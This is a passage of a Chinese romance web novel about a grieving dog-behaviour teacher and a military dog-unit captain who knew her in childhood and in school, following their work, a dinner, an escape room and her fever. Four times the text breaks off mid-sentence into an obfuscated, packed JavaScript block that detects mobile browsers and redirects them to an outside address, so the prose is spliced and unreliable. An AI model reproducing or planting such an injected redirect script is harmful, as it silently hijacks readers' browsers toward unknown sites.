来医院挂水的人不算少,嘈杂且闷热,消毒水的味道在空气中肆意蔓延,温雪吟头更晕了,挂完号找了休息室的小角落坐下,等待叫号。 犹豫了一下,她打开手机的联系人界面,拉到最底下,垂下眸看着,却迟迟没有动作。 良久,终于鼓足勇气拨通。 “嘟——” “嘟——” “嘟——” “您拨打的电话暂时……” 挂掉这通无人接听的电话,温雪吟大口大口地喘气,像一条被扔上岸的鱼。 果然是生病使人脆弱的缘故吗。 她自嘲地扯了扯嘴角。 广播恰好叫到她的号。温雪吟揉了揉干涩的眼睛,起身朝亮着灯的诊室走去。 门在她身后合上的瞬间,有人推开了她先前所待的休息室的门。 邱柏止推门而入,目光掠过每一张脸,却没能看见他想找的人。 他倚靠在墙上,点开蒋江最新发的语音:“你去哪了啊?不是给我去柜台拿药吗?怎么这么久没回来?” 「马上。」 回完消息,邱柏止将手机放回兜里,立在原地,忽然觉得有些荒唐。 凭着一个虚无缥缈的、甚至不能确定是不是她的背影,就径直追了过来。 明明撞到脑袋的是蒋江,怎么昏了头的反而是自己。 “低烧,”医生看了一眼体温计,在键盘上敲字,“应该是病毒性上呼吸道感染,最近换季,很多人中招。” “我给你开两盒退烧药,另外加一个抗病毒的,回去多喝水,多休息。”医生顿了顿,看向温雪吟,“你这几天睡眠不好吧?眼底都是青的。” 温雪吟嗓子痛得不想开口,便只点了点头。 “退烧以后如果还是睡不着,再来看看。”医生把单子推过来,“先去一楼拿药。” 她接过单子,还是扯着干涩的嗓子应:“好的,谢谢医生。” 出了诊室门,温雪吟看见手机里多了一条消息。 「什么事?」 她打了一行字,没等发送,对面又发来一条: 「给你卡里转了2000,刚刚有点事,没接到电话。」 温雪吟盯着输入框里那行字,拇指悬在发送键上停了两秒。 把“今天是妈妈的忌日”一个字一个字删掉,她重新打字:「没事,不小心误触了。」 滑回朋友圈最上面,九宫格里,一家三口在海边,男人搂着女人,小女孩被举高高,三张脸被阳光晒得发亮,笑得眉眼肆意。 动作只停了一秒,温雪吟面无表情,继续往下滑。 到达目的地时,太阳已日薄西山。 走到墓碑前,温雪吟蹲下来,将带来的小雏菊靠在石头上,又站起身,向前望去。 黑白照片上是一张笑得温柔恬静的脸。 “妈妈……”她喃喃地小声说。 声音刚出口就被风卷走了。 墓碑上的照片无法回应她,只温婉地看着温雪吟,目光犹如以前的任何一次。 但风停了那么一瞬。 傍晚的墓园开始降温,雏菊的白色花瓣在渐渐暗下来的光线里,像一小片还没来得及融化的雪。 “我过得挺好的。”温雪吟的声音大了一点,语速很慢地跟妈妈汇报自己的近况。 说完话,她低下头,把下巴埋进衣领里。 似乎没什么好说的了。 温雪吟咳嗽两下,打起精神,朝墓碑挥了挥手,向妈妈道别。 周末,温雪吟和邱柏止找了个时间,面谈基地跟学校合作的事。 约在上次那个咖啡馆,温雪吟到得早,便提前看起邱柏止手机上给自己传的合作资料。 军犬社会化训练,其实是她一直想做的方向。 军犬在基地里训练有素,但到了闹市区、商场、医院这些环境,有些犬只会出现应激反应。 她做的行为矫正和陪伴训练,刚好能补上这一环。 正思考得出神时,对面多出一人落座。 “基地会将已完成为期八周基础训练的军犬送到你们学校,由你们带着进行脱敏训练,”邱柏止展开合同书,目光移到温雪吟脸上,又说,“每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478331|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次都会有训导员专门陪同,老师需要做的,是提供环境设计和行为引导建议。” 温雪吟听得很认真,时不时问几个问题。 她问一个,邱柏止就答一个。 “以及,需要签一份保密——” 他说到这里,突然停住了。 方才温雪吟凑过来看合同上的一行小字,发尾扫过桌沿,离他的手背不到两寸。 感受到对方疑惑的视线,邱柏止清了清嗓子,接上那半句话,声音有些低。 “……保密协议。” 温雪吟没多想,签好字把合同递给他,又朝他伸出手。 “好的,合作愉快。” 邱柏止看了她的手一眼,然后握上来,说:“合作愉快,温老师。” 解决完这桩事情,温雪吟看了下时间,正好是饭点,索性直接问:“上次说一起吃饭,要不就今天?” 邱柏止正在把笔帽合上,“咔”的一声。 “一会我有点事情。”他眼睫往下压了压,把笔放回胸前口袋,在口袋边缘按了一下,“约下次吧。” 一小时后,寿司店内。 温雪吟一个人坐在吧台边,筷子夹起一片三文鱼,还没送到嘴里,余光里扫进两个人影。 门被推开的声音不大,但她还是抬头看了看。 一男一女,并肩走进来。 男人穿着深色外套,正是说自己有事的邱柏止,旁边跟着一个女人,年轻,穿着得体,正侧头跟他说着什么。 他们落座在距她两个座位的地方。 很快便收回视线,温雪吟专注于自己眼前的饭。 有些庆幸。 还没来得及继续往下想,余光里突然晃过来一道影子。 她抬头,那个女人已经站在了她桌边。 “你好,你是温老师吧?”女人笑起来很甜,语气热络,“我是基地的兽医,姓姜。邱队跟我们提过你,说接下来要跟你合作,真的很开心!” 她说着伸出手,指尖涂着淡粉色的甲油。 温雪吟下意识站起来跟她握了握:“你好。” “邱队说你训练理念很专业,我一直想找机会跟你请教呢。”姜雨说着回头,温雪吟也随着她的视线看过去。 邱柏止还坐在原位,正在手机屏幕上敲敲打打,没往这边看。 “下次有机会一起吃饭呀!”姜雨收回目光,又冲温雪吟笑了笑,挥挥手回自己座位了。 平时不忙的时候,温雪吟会把吃饭速度放得很慢,细嚼慢咽,有时甚至能花上好几个小时。 她很享受美食入喉的感觉,认为食物是一种恩赐。 尝到好吃的,甚至会有想落泪的冲动。 认认真真咽下最后一块寿司,她放下筷子,招手叫服务员。 “您好,结账。” 服务员查了一下桌号,笑着说:“您这桌的账单,有位先生已经结过了。” 脑袋空了一瞬,温雪吟迟钝地扭头,看向旁边的座位,只见到一个空荡荡、被清理干净的餐桌。 “谢谢兽医姐姐,”基地里,蒋江冲下来接过打包盒,见邱柏止不在,边拆盒子边问:“邱队人呢?” 姜雨意味不明地笑了一声,挑眉:“你们邱队啊,正忙着追他的心上人呢。” 5. 05·小狗 “什么心上人?”蒋江丈二和尚摸不着头脑,正在往嘴里塞寿司,显得声音含含糊糊的。 姜雨想到些什么,露出了高深莫测的神情。 “你这什么表情?” 被盯得发毛,温雪吟忍不住问。 苏禾盘腿坐在沙发上,啧啧作叹,“上次怎么跟我说的来着?现在你俩什么关系?” “……普通朋友啊。” “啪啪”两声,苏禾鼓起掌来:“你在这里纠结大半天邱柏止和那个兽医的关系,是把他当做普通朋友的态度?” 温雪吟思考了下,回:“我还以为我这是八卦。” “大错特错!”苏禾拍拍她的肩,“你有没有想过,或许这是一种——吃醋。” 温雪吟抿了抿唇,她强烈怀疑,自己产生那些臆想就是长期被苏禾所洗脑所致。 手机忽然在桌角震动一声,还没拿起来,紧接着又震动了第二声、第三声。 邱柏止:「今天实在抱歉。」 邱柏止:「晚饭那段时间,确实是在处理一些工作的事情。」 邱柏止:「哭泣小狗jpg.」 末尾那张表情包,是一只垂着耳朵、眼眶泛红的小狗,嘴角耷拉着,眼泪汪汪地望着镜头,一副委屈又无措的模样。 看到最后那条消息,温雪吟眼睛倏然瞪大。 她谨慎地打字:是本人吗? 邱柏止:「是。」 邱柏止:「点头小狗jpg.」 温雪吟:「好的,没关系。」 温雪吟:「摇头晃脑小狗jpg.」 虽然不清楚他为什么每句话都要认认真真带上句号,但温雪吟依葫芦画瓢也加上了。 盯着屏幕看了半刻,温雪吟没忍住笑了。 一句一句,规规矩矩地排着,好像金鱼在吐泡泡啊。 // 窗台上的多肉已经长出了侧芽,日子不紧不慢地淌着,不知不觉八月将至。 与军方合作的项目正式启动前一天,温雪吟把手头课程全部清空,打算接下来两个月,全身心投入其中。 蒋江领着一群受训犬进学校的时候,温雪吟正和一位新老师站在走廊边,低声沟通着接下来的排课事宜。 “你好啊,温老师。”蒋江笑眯眯的。 温雪吟礼貌地示意身边老师先去忙,下意识往蒋江身后看了眼,才回:“你好。” 仿佛知道她在想什么似的,蒋江说:“邱队今天没来喔。” 温雪吟:“好的。” 首次脱敏训练,只安排在学校进行,蒋江工作很专业,人也健谈,很快便和温雪吟熟络起来。 等一天工作收尾,温雪吟正低头收拾教案和今天的情况反馈,蒋江从门外走进来,问:“温老师下班了吗?” 得到肯定的答复,他直接发出邀请:“晚上一起吃饭吗?邱队下厨,姜兽医也在。” 默认这是他们队内聚餐,自己一个外人贸然过去总归不合适,温雪吟刚想婉拒。 念头一转,又暗自腹诽,邀请别人吃饭难道是他们基地的传统吗? 见她还在考虑,蒋江诚恳又卖力地劝道:“真的不来吗?邱队厨艺可是一绝,他难得做一次饭,错过可亏大了!” “要不这样,你和余知汀一起来?” 温雪吟一怔,反应过来他说的是助理小鱼,当即真有些意外:“你认识小鱼?” “认识啊,我俩幼儿园就在一起玩了。”蒋江说得轻描淡写,已经点开手机给余知汀发消息了。 话都说到这种地步了,温雪吟也不好再拒绝。 余知汀今天休假没在学校,听说邱柏止要下厨便匆匆从家里赶过来,坐蒋江的车和他们一同前往。 一路上,她都在和温雪吟感叹着邱柏止做饭有多么多么好吃。 正好碰到红灯,蒋江向右扭头看她,表情很自豪:“是我,给你打包的!” “那你一开始还骗我这是你做的,天天在那嘚瑟什么呢!”余知汀翻了个白眼。 蒋江立刻急了,不服气地辩解:“那你区别对待是什么意思?说是我做的,你就一脸勉强入口的样子;一告诉你是邱队做的,就没完没了地夸他做饭好吃。” 余知汀理所当然地说:“那人家做饭确实好吃啊,我也不能昧着良心说话吧。” “……” 温雪吟坐在后座听这对欢喜冤家斗嘴,心里真的隐隐期待起邱柏止做的饭来。 邱柏止租的公寓离学校不算近,等几人赶到时,外面天色已经隐隐约约暗下来。 公寓楼道干净敞亮,电梯直达入户。 电梯门刚打开,余知汀左顾右盼,忍不住惊叹:“哇塞,好高级啊。” “你没去过我家吗,我家比这大多了!”蒋江又很快接话。 懒得搭理他,余知汀揽着温雪吟的肩往前走。 门半掩着没关严实,刚推开,映入眼帘的就是邱柏止。 他穿着家居的衬衫,外面系着一条深色围裙,袖口挽到小臂,正把一盘刚出锅的菜端上餐桌。 听到动作,他抬眼,目光平静地看过来。 “欢迎。” 不知是不是错觉,明明望向的这个方向有三个人,但温雪吟总感觉他看的是自己。 稍稍有些局促,温雪吟没好意思眼睛乱转看房子的布局,只温声打了个招呼。 蒋江就不一样了,大喇喇地往沙发上一坐,点评道:“你是不是换了个茶几啊,以前好像不是这个颜色。” “嗯。”邱柏止应了声,示意温雪吟和余知汀往另一个沙发上坐,并给她们倒了茶,“稍等一下,还有最后一个菜。” 真正坐上餐桌,看着眼前这些香气扑鼻、卖相极佳的菜,温雪吟才发现,他们说的原来一点也没夸张。 糖醋小排,摆盘整齐,点缀着葱花。 虾仁滑蛋,嫩黄中透着粉白。 红烧排骨,酱色油亮,撒了白芝麻。 菌菇汤,热气袅袅。 余知汀在旁边小声“哇”了一声,温雪吟的目光再次一一扫过这些菜,发现还有两道是她叫不上名字的。 蒋江夹了一筷子菜,想到什么突然问:“对了,兽医姐姐呢,怎么没看到她?” “她说晚点到,让我们先吃。”邱柏止头也没抬,盛了饭端给他们。 这时,一截旧旧的红绳从他袖口露出来,温雪吟“诶”了一声,指着问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478332|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也有这个呀?” 邱柏止还没回答,蒋江已经嚷嚷开了:“他可宝贝这个了,戴了这么多年,我还以为是他哪个刻骨铭心的初恋送的呢。” “别瞎说,”邱柏止顿了顿,看向温雪吟:“这个还挺好看的,就买了。” “好巧啊,我也有,”温雪吟眼睛微微一亮,从领口拉出那根红绳吊坠,除去多了块玉,颜色、形状分毫不差。 她问:“你是高一秋游那次买的吗?” 记忆一下子回到高一秋游那天,返校上车前,距离大巴车不远处的山脚下,有个不怎么起眼的小摊,摊上铺着藏蓝色的布。 上面摆了两排红绳,一种是项链,一种是手链,款式一模一样,都是一种编法、一种颜色。 温雪吟当时买了项链那款,后来把妈妈给她送的一块小玉挂了上去。 令人意外的是,这红绳质量非常好,将近十年都没断过。 她便一直戴到现在。 邱柏止没否认:“对,当时很多人买。” 姜雨没过多久就来了,饭后,三个女生的话题从美食到八卦,聊得热火朝天,蒋江一边刷手机一边嘟囔了句“真能聊”,但还是时不时插句嘴。 刷着刷着手机,蒋江突然蹦起来,把所有人吓一跳:“卧槽,一直说好要开的那家密室今天终于开了!去不去?” “去!”余知汀率先响应,她和蒋江一样,很喜欢玩那些刺激的游戏。 姜雨紧随其后:“我也没问题。” 温雪吟犹豫了一下。 她其实有点怕那种黑漆漆又突然冒东西出来的场景,但看大家都挺期待的,也不好扫兴,便点了点头:“好。” 几个人到了密室门口,前台递过来一张主题单子供他们挑选。 “恐怖主题的,敢不敢?”蒋江挑眉看向余知汀。 余知汀毫不犹豫:“谁怕谁。” 姜雨翻了翻介绍,皱了皱眉:“有个带NPC追逐的,据说挺吓人。” 温雪吟扫了一眼宣传图,黑漆漆的走廊配上一张惨白的鬼脸,心里已经开始打退堂鼓。 “要不,就这个吧。”蒋江指着姜雨说的那个密室,转头问他们。 一旁,邱柏止蹙眉:“换一个吧。” “邱队,原来你怕鬼啊?” 邱柏止语气平静:“嗯。” 也没纠结太多,蒋江挑了另一个,确认大家都没问题后就去找前台买票了。 前台递来眼罩,说开场前需要蒙眼入场。 温雪吟接过眼罩,手指无意识揪着衣服上的线头,有些紧张。 邱柏止站在她旁边,低头看了她一眼。 眼罩带上的瞬间,眼前一片漆黑,温雪吟被工作人员领着往里走,脚步声在空旷的走廊里回荡。 身后传来蒋江的声音,不大,带着点调侃:“你真的不害怕吗?害怕的话可以躲在我身后。” 余知汀冷哼一声:“某人到时候别被吓哭才对。” 黑暗中,温雪吟听着他俩拌嘴,正小心翼翼地往前迈步,肩膀忽然被人轻轻碰了一下。 她下意识一缩,紧接着就听见邱柏止低沉的声音,近在咫尺: “是我。” 6. 06·密逃 工作人员摘掉眼罩的瞬间,密室的氛围一下子变浓。 灯光昏暗,墙壁斑驳,角落还有积灰的道具。 “可以开始了。”广播里响起机械声的背景音。 蒋江大步往前冲,余知汀紧随其后。 姜雨拉着温雪吟的袖子,以谨慎为重,慢慢贴着墙往前摸索。 走廊尽头是一扇半掩的木门,门缝里透出微弱的光。 蒋江一把推开门。 下一秒,一个穿着染血白裙的NPC忽然从门后窜出来,发出尖锐的嘶吼。 “啊——!” 温雪吟还没反应过来,身体已经本能地往后弹了一步,慌乱中,她的后背撞上了一个人的胸膛。 紧接着,一只手稳稳扶住了她的手臂。 “别怕,”邱柏止的声音从头顶落下来,带着安抚人心的力量,“都是假的。” 心跳平复下来些许后,温雪吟拉开距离,轻声道了声谢。 蒋江在前面骂了一句:“靠,吓我一跳。” 余知汀弹了弹他的脑门,嘲笑他:“你不是说你不怕吗?” “我那是没准备好。”蒋江吃痛,捂住额头,还在死鸭子嘴硬。 姜雨回头看了一眼邱柏止和温雪吟,目光在他俩之间转了一圈,嘴角翘了起来。 几个人继续往里走。 接下来是一段极窄的走廊,每次只能一个人通过,邱柏止不知什么时候走在了温雪吟前面,背影挡住了前方大半的黑暗。 温雪吟盯着他的后背,安心不少。 走廊尽头是一个小房间,桌上摆着一把锁和一张纸条,邱柏止拿起纸条,侧头对温雪吟说:“帮我照一下。” 温雪吟赶紧举起手机手电筒,明明暗暗的光线打在他侧脸上。 她这才发觉自己离他很近。 近到能数清他的一根根睫毛。 蒋江已经绕到另一边,看了看锁的构造,又看了看纸条上的提示:“应该是四位数密码,跟房间里的线索有关。” “现在看锁,先别看我了。”邱柏止头也没抬,说。 温雪吟:“……” 总感觉他的声音染了几分笑意。 她猛地收回目光,耳根烫得厉害。 本打算武力撬锁的蒋江半天没撬开,余光瞥见他俩没动作,回头喊:“你俩怎么磨磨叽叽的,忙着谈恋爱呢?快来帮忙。” “来了。”邱柏止迈步往前走。 温雪吟深吸一口气,也跟了上去。 几个人在房间里翻找起来,温雪吟蹲下来看墙角有没有标记,看见蒋江和余知汀凑在一起研究墙上的海报,两个人挨得很近,蒋江说话的声音压得很低,不知道在讲什么。 “找到了。” 姜雨的声音从房间另一头传来,手里捏着一张几乎被灰尘盖住的纸条。 她把纸条上的数字念出来,蒋江试了试锁。 “咔哒”一声,开了。 后面还有一小段,但已经没那么吓人了,他们顺顺利利走到了出口,推开门,外面的光线一下子涌进来。 温雪吟眯了眯眼,听见蒋江在旁边说了句:“还行,没有想象中吓人。” 余知汀点点头:“下次可以试试更恐怖的那个。” 这还不算吓人吗? 温雪吟后知后觉地攥了攥掌心,后背已经沁出一层薄汗,方才全程强撑着镇定,此刻放松下来,只觉得浑身都透着股发软的疲惫。 更明显的是小腹,隐隐传来一阵钝钝的坠痛,像有根细针轻轻扎着。 她在心里默默算了下日子,例假差不多就是这几天,怕是要提前来了。 说起来,身边的人都是无神论者,只有她从小到大都害怕这些神神鬼鬼的东西。 温雪吟小时候体质就弱,父母早早离婚,妈妈要日夜颠倒地上班。 有一回她偷偷跑出去出事之后,妈妈焦头烂额,为了彻底断了她再往外跑的念头,干脆把大门牢牢锁住。 从此,不论是阴天还是晴天,她都只能一个人在拉上窗帘的昏暗的房间里度过这一天。 只有等到妈妈下班回来,她紧紧缩在妈妈怀里,闻到那股令她安心的味道,才能真正安稳睡去。 好在后来,隔壁搬来了新邻居,家里还养着一只拉布拉多。 房子隔音不好,一天里,她总能断断续续听见大狗“汪汪”的叫声,中间还夹杂着一个小男孩的训狗声。 某天实在好奇,小温雪吟小跑到能望见邻居家的阳台,踩上小板凳,努力朝对面张望。 一抬头,就和站在那边的小男孩,直直对上了视线。 那小男孩看着也不大,不过比她稍高一点,眼型清干净透,脸蛋还带着孩童的软嫩。 只是眼神淡淡的,没什么笑意,望着她时安安静静的,小小年纪就透着一股冷淡劲儿,连眉头都轻轻皱着。 小温雪吟傻眼了,在板凳上晃来晃去,差点摔下来。 这时,那个小男孩开口了,神情很严肃: “不要踩在上面,很危险。” 小温雪吟灰溜溜蹦下来,却还是仰着头,目不转睛地盯着他,奶声奶气问:“你可以把你家大狗狗带到这边给我看看吗?” 小男孩没应声,转身往自家客厅走去。 小温雪吟以为他不愿意,小脸垮下来,正沮丧地要转身时。 身后忽然传来一声响亮的狗叫。 她一回头,就看见那小男孩牵着一只毛色金黄的大狗走了出来。 狗狗温顺地贴在他身侧,尾巴时不时晃一下。 小男孩没看她,抬手轻轻拍了拍狗狗的脑袋,低声说了句什么,那大狗便乖乖趴在阳台边黑亮的眼睛好奇地望向她。 小温雪吟眼睛一下子亮了,小声又怯怯地惊叹:“好乖啊……他叫什么名字?” 小男孩终于抬眼看向他,声音还带着孩童的清嫩,却是说: “没有名字。” “那我给它取一个好不好?”小温雪吟认真盯着温顺的大狗看了半天,声音软乎乎的,带着点小心翼翼的期待:“叫小金豆怎么样?它金灿灿的,又像小豆子一样圆滚滚的。” 小男孩垂眸看了看趴在脚边、跟圆滚滚毫不沾边的拉布拉多,又淡淡扫了眼笑得甜甜的小姑娘。 再开口唤狗时,冷不丁吐出两个字: “金豆。” 自那之后,两人一狗便常常隔着一段不远不近的距离相望。 小男孩有空就会把金豆牵到阳台透气,小温雪吟听见狗叫声,总会立刻扒着栏杆探出头,喊一声“金豆”。 大狗立刻摇着尾巴冲她叫唤,脑袋蹭着栏杆,恨不得翻过去找她。 小男孩话依旧不多,大多时候只是安静站在一旁,看着小温雪吟对着狗叽叽喳喳说个不停。 偶尔在她够不着的时候,弯腰把金豆往栏杆边再带近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478333|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点,任由她隔着空隙轻轻摸两下狗头。 小温雪吟因此对大狗狗念念不忘,央求妈妈给她也买一条。 那时妈妈新入职的公司渐渐稳定下来,不仅松口答应了她的请求,还请了保姆专门照看她,不再限制她出门。 然而,等小温雪吟迫不及待敲开新邻居的门,门扉敲了一遍又一遍,却始终无人应答。 后来才从保姆阿姨口中得知,那一家子,早在前几天就已经搬走了。 // 从密室逃脱出来后,高精力人群蒋江依旧意犹未尽,问他们还想不想继续去玩别的,但无一例外收获的都是拒绝。 “好吧,”意识到确实已经很晚了,他也没气馁,转而说起别的,“我去送余知汀,邱队你把温老师和姜兽医送回家?” 邱柏止还没回答,姜雨先晃了晃手机:“我男朋友要来接我,马上到了。” “我刚刚打了车。”温雪吟也抱歉地笑了一下。 其实根本没有人接单,但她今天过得实在疲惫,只想一个人静静待着。 夜晚的城市同样车水马龙,灯光层层叠叠铺在地面上,高楼的窗格亮着点点星火,车流在街道上来回穿梭。 温雪吟慢吞吞在小道上步行,感受到晚风带着微凉的湿气贴在皮肤上,远处的人声、车鸣混在一起。 她低头踢着脚下细碎的小石子,走了没几步,路边突然窜出来一只浅棕色的小狗,摇着尾巴从她脚边跑过,身后跟着追着它跑的小主人。 脑海里闪过些回忆,温雪吟脚步莫名顿住,她停下来看了一会。 她不知道的是,身后不远处,一辆黑色轿车保持极慢的车速,始终安静地跟在她后面。 车窗半降,邱柏止单手搭在方向盘上,目光穿过夜色与路灯,一瞬不瞬地落在前面那道单薄的身影上。 路灯明明灭灭掠过他轮廓,眉眼深沉,看不出情绪。 隔着不远不近的距离,他就这么沉默地跟着,像一道无声的影子,陪她走过这段无人知晓的路。 不知何时,风里多了几分湿意。 几滴冰凉的雨珠先落在发顶、脸颊,不等她反应,细密的雨就落了下来,很快打湿她的发梢与肩头。 温雪吟愣了愣,抬手挡了挡额头,雨丝落在皮肤上,凉得她一缩。 她本就没什么力气,此刻更是懒得跑,只微微垂着头,打算就这么任由雨打在身上。 这一幕落在邱柏止眼里,他眸色一深,加速踩了油门。 下一秒,男人解安全带的动作干脆利落。 车门应声拉开,一股混着草木与冷冽气息的湿意涌了出来。 邱柏止拿了把伞下车,快步走到她身侧。 两人之间的距离不过半步,他微微垂眸,目光落在她被雨打湿的发梢上,那里还挂着几滴晶莹的水珠,顺着发尾缓缓滑落,砸在她锁骨处,洇开一小片湿痕。 一把伞柄忽然从天而降,温雪吟抬眼,撞进男人深不见底的眼眸里。 那里面映着外面模糊的灯火,也映着她此刻狼狈又茫然的样子。 温雪吟下意识往后缩了缩,声音带着被雨水浸过的沙哑:“你怎么在这?” 邱柏止的视线落在她泛红的眼尾,很快开口,透着不容人拒绝的笃定:“先上车。” 见她呆呆的没什么反应,邱柏止只将伞又往温雪吟这边倾了些,自己大半个人都露在雨里,肩头被打湿一片。 7. 07·表白 直到将温雪吟送到楼下,她才仿佛如梦初醒一般,匆匆扔下了句“谢谢”,接着打开车门。 “温雪吟。”邱柏止喊她。 温雪吟动作一停,等着他开口。 “明天陪训的人是我,”邱柏止把伞递给她,“我想申请请假一天,行吗?” 接过伞,温雪吟说:“好的,谢谢。” 家里漆黑一片,灯被按亮时,她才慢了一拍反应过来,苏禾去她对象家了,这几天都不回来住。 这一觉睡得很不安生,梦里时不时闪过母亲墓碑上照片的笑容,时不时浮现小时候邻居那条狗,最后,是那幅刺得她心口发疼的一家三口的画面。 前些年算命,算命大师就说过,她这一生亲情缘淡薄,命中留不住靠得太近的人。 母亲在她考上大学后身体彻底垮了下来,硬撑了两年,还是去了。而亲生父亲,也早已组建新的家庭。 明明知道不该奢求,可温雪吟在极其脆弱的时候,还是会忍不住渴望父亲的关心。 但在父亲眼里,她的这份联系,不过是为了索要那些以前从未给过的抚养费。 第二天一早,按掉上班的闹钟后,温雪吟昏昏沉沉地想,还好邱柏止请假了,她也不用去学校。 手机震了好几轮,对面都没接。 盯着屏幕上的“对方暂时无法接通”,一阵突如其来、不可抑制的心慌闪过邱柏止的脑海。 再打,还是无人应答。 消息发出去,也像石子沉入深水,没有回响。 “你好,我想请问一下,温雪吟老师今天是不是还没来上班?”进了学校,邱柏止问。 被问的老师也有些摸不着头脑,答道:“好像是呢,都快中午了还没见人,这可不像温老师的作风。” 邱柏止心里很快有了决断,一路赶到温雪吟家门口,抬手敲门,无人应答。 他又敲了几下,比刚才用力了些。 “温雪吟。” 门内一片死寂,安静得让人心慌。 他不再犹豫,转身下楼去找物业。 物业带着备用钥匙开了门,见人没事后便离开了。 邱柏止道了谢,重新关上门。 屋里很安静,窗帘没拉开,光线昏暗。 温雪吟蜷在沙发上,身上裹着一条薄毯,脸埋在靠枕里,露出来的脸颊泛着不正常的红。 茶几上摊着半杯凉透了的水,和一板被按出两颗的药片。 邱柏止蹲下来,伸手探了探她的额头。 滚烫。 温雪吟蹙着眉含糊地哼了一声,没有醒。 他没收手,就着这个姿势,拇指轻轻抚过她紧皱的眉心。 “烧成这样。” 话音未落,温雪吟的睫毛颤了颤。 她迷迷糊糊地睁开眼,视线模糊了好一会儿,才慢慢对上焦。 入眼是男人低垂的眉眼,和那只还没来得及收回的手。 她怔了一下,“……邱柏止?” 声音哑得几乎不像是自己的,温雪吟撑着要坐起来,薄毯滑到腰间。 脑袋沉得像灌了铅,刚起来一点就又跌了回去。 邱柏止:“别急着起来。” 温雪吟没动,眨了眨眼,脑子转得很慢。 迟钝地环顾四周,记忆一点一点往回淌。 她记得自己早上起来上了个厕所,发现还没到上班时间,想着在沙发上眯一会就好。 怎么……就睡到了现在? “我……”温雪吟抬手揉了揉太阳穴,语气里带着刚醒来的茫然,“你什么时候来的?” 邱柏止平复着自己的心跳,敛眸缓声道:“刚才,你今天没来上班。” “我本来只想小睡一会的。”温雪吟小声说,有一点点不好意思。 邱柏止什么都没说,只是站起身,把那杯凉水端走了。 厨房里传来倒水的声音,很快,他又端着半杯温水走回来,在她面前蹲下,把水杯递到她手边。 “先吃药。”他说。 温雪吟低着头,把药片放进嘴里,就着温水咽下去,苦味在舌根散开。 喝完水,她没有立刻松手,捧着那杯还剩一点温热的杯子取暖。 见邱柏止唇色紧绷,好似非常担心的样子,温雪吟想活跃一下气氛,于是故作轻松地说: “没想到你这么关心合作伙伴啊。” 话音落下,空气却并没有轻松半分。 邱柏止深吸一口气,想把那些翻涌的情绪一并压下去,可开口的时候,还是没忍住带了些情绪。 “你发烧了自己知道吗?” 闻言,温雪吟抬手摸了摸自己的额头,摸不太出来,又放下了。 “知道吧,”她声音闷闷的,“但我吃过药了,想着睡一觉就好了。” “睡一觉就好了。” 他重复了一遍她的话,偏过头去,而后没再继续。 不清楚他想表达什么,温雪吟抬眼,愣住了。 他的眼眶居然红了。 从认识邱柏止到如今,他向来是一副冷静自持的模样,发生什么都波澜不惊,像一潭怎么也搅不动的深水。 可此刻那双眼眸泛着红,蒙了一层水光,竟显出几分少见的脆弱。 半晌,邱柏止说话了,话题转得有点突然。 “你还记不记得有一年冬天,你发烧,晚自习趴在桌上,脸烧得通红。我问你要不要去医务室,你说不用,趴一会儿就好了。” 温雪吟张了张嘴,想说些什么,又咽了回去。 “高二下学期,”他继续往下说,“你考试考砸了,我看你一整天没怎么说话,午休的时候给你带了瓶牛奶放桌上,你后来还我了,说不用,说谢谢。” “还有重逢以来,”邱柏止终于转过脸来看她,神色说不上是气恼还是无奈,又或者都有。 “你家太远,我说想送你回家,你不愿意。下雨天我问你有没有伞,你说有,后来我看你一个人在楼门口等了半小时雨停。” 太多太多次了。 太多次把他推开,不允许他靠近。 高中时就是这样,表面温温柔柔的,见谁都能笑着打招呼,但实际上对一切都淡淡的,对什么都不在乎。 有别班的同学追她很久,送花送情书,递蛋糕递奶茶,每次一下课就来找她,嘘寒问暖样样不落。 她也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478334|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是笑笑,温柔地说:“谢谢你的坦诚,但抱歉,我对你没有爱情的感觉。你的时间和真心很珍贵,请留给真正能回应你的人。” 邱柏止刚接完水回来,站在后门,把这句话听得清清楚楚。 